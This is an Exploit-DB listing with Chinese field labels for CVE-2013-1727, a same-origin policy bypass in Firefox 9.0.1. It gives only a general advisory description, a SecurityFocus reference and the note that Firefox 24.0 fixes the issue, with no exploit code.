标题: Mozilla Firefox 9.0.1 - Same Origin Policy Security Bypass EDB-ID: 38766 CVE: 2013-1727 类型: REMOTE 平台: MULTIPLE 发布日期: 2013-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/62480/info

Mozilla Firefox is prone to a security-bypass vulnerability.

Attackers can exploit this issue to bypass the same-origin policy and certain access restrictions to access data, or execute arbitrary script code in the browser of an unsuspecting user in the context of another site. This could be used to steal sensitive information or launch other attacks.

Note: This issue was previously discussed in BID 62447 (Mozilla Firefox/Thunderbird/SeaMonkey MFSA 2013-76 through -92 Multiple Vulnerabilities), but has been moved to its own record to better document it.

This issue is fixed in Firefox 24.0.
